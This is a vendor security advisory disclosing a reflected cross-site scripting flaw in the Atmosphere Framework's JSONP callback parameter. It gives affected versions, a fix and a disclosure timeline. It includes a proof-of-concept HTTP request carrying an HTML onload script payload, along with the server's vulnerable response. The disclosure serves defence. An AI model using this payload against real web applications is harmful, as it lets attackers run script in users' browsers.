CSNC-2018-023 - Atmosphere Framework - Reflected Cross-Site Scripting (XSS)

Advisories <[email protected]> Wed, 15 Aug 2018 06:53:44 +0000
Newsgroups gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker
Message-ID <[email protected]>
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:   Atmosphere [1]
# Vendor:    Async-IO.org
# CSNC ID:   CSNC-2018-023
# Subject:   Reflected Cross-Site Scripting (XSS)
# Risk:      High
# Effect:    Remotely exploitable
# Author:    Lukasz D. ([email protected])
# Date:      13.08.2018
#
#############################################################

Introduction:
-------------
The Atmosphere Framework is the most popular asynchronous application
development framework for enterprise Java. The Atmosphere Framework provide=
s
the enterprise features required to build massive scalable and real time
asynchronous applications using transports like WebSocket, Server Sent Even=
ts
and traditional Ajax Techniques. [2]

Web applications using the Atmosphere Framework were found to be vulnerable=
 to a
common security flaw that allows an attacker to execute malicious code in t=
he
browser of users that followed a manipulated link to access the application=
.
Exploiting the vulnerability allows the attacker, for instance, to redirect=
 the
user to a phishing page or interact with the application on behalf of the u=
ser.

Affected:
---------
The following Atmosphere versions are vulnerable:
- 2.4.0 - 2.4.28
- 2.3.0 - 2.3.9
- 2.2.0 - 2.2.12
- 2.1.0 - 2.1.13
- 2.0.0 - 2.0.11
- 1.0.0 - 1.0.20

Technical Description:
----------------------
The JSONP transport method supported by the Atmosphere Framework is vulnera=
ble
to a reflected Cross-Site Scripting (XSS) attack. The JSONP callback parame=
ter
that will be put into the server's response can contain HTML code. As the
response does not specify the content type, it may be treated as an HTML pa=
ge by
browsers. For example, Firefox 52 ESR will execute JavaScript payload refle=
cted
in the response in the following proof of concept:

Request:
GET /chat?X-Atmosphere-Transport=3Djsonp&
          jsonpTransport=3D%3Chtml%3E%3Cbody%20onload=3Dalert(`XSS`)%3E&
          X-Atmosphere-tracking-id=3D1&
          X-Atmosphere-Framework=3D1&
          X-atmo-protocol=3Dtrue HTTP/1.1
Host: [CUT]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox=
/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*/*;q=3D0.8
Accept-Language: en-US,en;q=3D0.5
Accept-Encoding: gzip, deflate
Connection: close

Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Atmosphere-tracking-id: 1
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Date: Mon, 16 Jul 2018 13:37:00 GMT
Connection: close
Content-Length: 52

<html><body onload=3Dalert(`XSS`)>({"message" : "X"});

Workaround / Fix:
-----------------
It needs to be ensured that all JSONP responses are delivered with the corr=
ect
HTTP header: "Content-Type: application/javascript; charset=3Dutf-8". Moreo=
ver,
JSONP callback function should not contain any non-alphanumeric characters.

Timeline:
---------
2018-07-16:   Vulnerability discovered
2018-07-18:   Initial vendor notification
2018-07-18:   Initial vendor response
2018-07-20:   Patched version released
2018-08-13:   Public disclosure

References:
-----------
[1]: https://github.com/Atmosphere
[2]: https://async-io.org/